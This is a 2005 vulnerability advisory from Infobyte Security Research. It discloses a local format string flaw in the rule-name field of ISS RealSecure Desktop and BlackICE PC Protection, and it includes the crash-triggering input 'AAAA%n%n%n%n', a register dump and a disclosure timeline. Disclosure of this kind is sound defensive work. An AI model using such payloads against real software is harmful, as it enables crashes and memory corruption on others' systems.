ISS - RealSecure Desktop (BlackICE) Format String


|| 
|| [ISR]          
|| Infobyte Security Research 
|| www.infobyte.com.ar
|| 04.08.2005 
||


.:: SUMMARY

ISS - Internet Security Systems, RealSecure Desktop and BlackICE PC Protection
Format String

Version: BlackIce 7.0.322, It is suspected that all previous versions of BlackIce
are vulnerable.

.:: BACKGROUND

BlackICE products provide Intrusion Detection, personal firewall, and application protection.

    http://www.iss.net

.:: DESCRIPTION

A local format string vulnerability affect RealSecure Desktop and BlackICE PC Protection
This issue is due to a failure of the application to securely copy user-supplied data into
field name of rules that user create.

Buffer used: AAAA%n%n%n%n

Information of Registers:
EAX 41414141
ECX 00000004
EDX 00000200
EBX 0000006E
ESP 0012E578
EBP 0012E7D0
ESI 0012E82A ASCII "%n, "
EDI 00000800
EIP 7800FB05 MSVCRT.7800FB05
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_ALREADY_EXISTS (000000B7)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -NAN FFFF FFF8FCF8 FFF8FCF8
ST1 empty -??? FFFF 00000000 00000000
ST2 empty -??? FFFF 00FE00F7 00FB00F7
ST3 empty -??? FFFF 00FE00F7 00FB00F7
ST4 empty -NAN FFFF FFF8FCF8 FFF8FCF8
ST5 empty -??? FFFF 00FF00F8 00FC00F8
ST6 empty -??? FFFF 00000000 00000000
ST7 empty -??? FFFF 00800080 00800080
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

.:: EXTRA

We did not find any way to gain additional privileges


.:: DISCLOSURE TIMELINE

03/22/2005  Initial vendor notification
03/25/2005  Initial vendor response
04/08/2005  Public disclosure

.:: CREDIT

Francisco Amato is credited with discovering this vulnerability.
famato][at][infobyte][dot][com][dot][ar

.:: LEGAL NOTICES

Copyright (c) 2005 by [ISR] Infobyte Security Research.
Permission to redistribute this alert electronically is granted as long as it is not 
edited in any way unless authorized by Infobyte Security Research Response. 
Reprinting the whole or part of this alert in any medium other than electronically 
requires permission from infobyte com ar

Disclaimer
The information in the advisory is believed to be accurate at the time of publishing 
based on currently available information. Use of the information constitutes acceptance 
for use in an AS IS condition. There are no warranties with regard to this information. 
Neither the author nor the publisher accepts any liability for any direct, indirect, or 
consequential loss or damage arising from use of, or reliance on, this information.
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